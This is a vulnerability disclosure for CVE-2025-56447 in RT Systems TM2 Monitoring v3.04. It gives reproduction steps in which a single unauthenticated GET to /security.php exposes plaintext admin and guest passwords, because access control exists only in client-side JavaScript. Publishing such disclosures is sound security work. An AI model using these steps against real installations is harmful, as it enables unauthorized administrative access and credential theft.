CVE-2025-56447 Authentication Bypass and Credential Disclosure in TM2 Monitoring v3.04.md

CVE-2025-56447 - TM2 Monitoring v3.04 – Authentication Bypass and Credential Disclosure

Discovered by: Imraan Khan (Lich-Sec), Etienne Supra (ATKDEF Fusion Security)
Date: 2025-07-18
Product: RT Systems TM2 Monitoring
Version: v3.04
CVE ID: CVE‑2025‑56447

Vulnerability Details

• Product: TM2 Monitoring v3.04
• Vendor: RT Systems
• Vulnerability type: Incorrect Access Control (Authentication Bypass, Credential Disclosure)
• CVE ID: CVE-2025-56447
• Attack Vector: Remote
• Impact: Disclosure of plaintext administrative credentials, full access to protected functionality
• Status: Vendor has been notified and confirmed the issue.

---

Summary

A critical authentication bypass vulnerability (CVE-2025-56447) exists in TM2 Monitoring v3.04 by RT Systems. The issue allows an unauthenticated remote attacker to directly access sensitive administrative functionality and recover plaintext credentials, due to improper access controls in the affected component.

---

Steps to Reproduce

1. Access the login page

Open your browser and navigate to:

http://target-ip/login.php

At this point, authentication is expected—but the system only enforces access control via client-side JavaScript.

---

2. Intercept with Burp Suite (or curl)

Using a web proxy (e.g., Burp Suite), send a direct unauthenticated request to:

GET /security.php HTTP/1.1
Host: target-ip

The server responds with the full contents of the security.php page without checking session state.

---

3. Extract credentials from the response

Within the HTML response, look for the following form inputs:

<input name="pw_admin" value="P@ssword123" type="text">
<input name="pw_guest" value="GuesP@ss" type="text">

---

References

http://rt.com
http://tm2.com
https://github.com/stSLAYER/ZeroDayVulnerabilities-/blob/main/RT-Systems/POC/README.md